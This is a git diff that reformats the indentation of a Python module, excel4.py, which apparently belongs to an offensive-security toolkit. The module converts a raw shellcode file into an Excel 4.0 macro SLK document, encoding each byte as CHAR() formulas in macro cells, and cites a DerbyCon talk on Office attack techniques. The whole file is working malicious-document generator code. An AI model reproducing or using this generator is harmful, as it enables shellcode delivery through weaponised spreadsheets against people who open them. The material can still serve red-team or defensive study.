diff --git a/modules/excel4.py b/modules/excel4.py
index 7982917..e315ef3 100644
--- a/modules/excel4.py
+++ b/modules/excel4.py
@@ -6,7 +6,7 @@
 # http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen
 
 def bytes2int(str):
-	return int(str.encode('hex'), 16)
+    return int(str.encode('hex'), 16)
 
 SHELLCODE_HEADER = """ID;P
 O;E
@@ -25,28 +25,28 @@ def bytes2int(str):
 """
 
 def generate_slk(shellcode_path):
-	return build_shellcode_slk(shellcode_path)
+    return build_shellcode_slk(shellcode_path)
 
 def build_shellcode_slk(shellcode_path):
-	#print("[*] Building shellcode exec SLK")
+    #print("[*] Building shellcode exec SLK")
 
-	slk_output = SHELLCODE_HEADER
-	with open(shellcode_path, "rb") as f:
-	    byte = f.read(1)
-	    i = 0
-	    cell=0
-	    while byte != "":
-		if i == 0:
-			cell=cell+1
-			slk_output+=("C;X2;Y%s;K0;E" % (str(cell)))
-		else:
-			slk_output+=("&")
-		slk_output+=("CHAR(" + str(bytes2int(byte)) + ")")
-	        byte = f.read(1)
-		i+=1
-		if i == 20:
-			slk_output+=("\n")
-			i = 0
-	cell=cell+1
-	slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell)))
-	return slk_output
\ No newline at end of file
+    slk_output = SHELLCODE_HEADER
+    with open(shellcode_path, "rb") as f:
+        byte = f.read(1)
+        i = 0
+        cell = 0
+        while byte != "":
+            if i == 0:
+                cell=cell+1
+                slk_output += ("C;X2;Y%s;K0;E" % (str(cell)))
+            else:
+                slk_output += ("&")
+            slk_output += ("CHAR(" + str(bytes2int(byte)) + ")")
+            byte = f.read(1)
+            i+=1
+            if i == 20:
+                slk_output+=("\n")
+                i = 0
+        cell = cell+1
+        slk_output += ("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell)))
+    return slk_output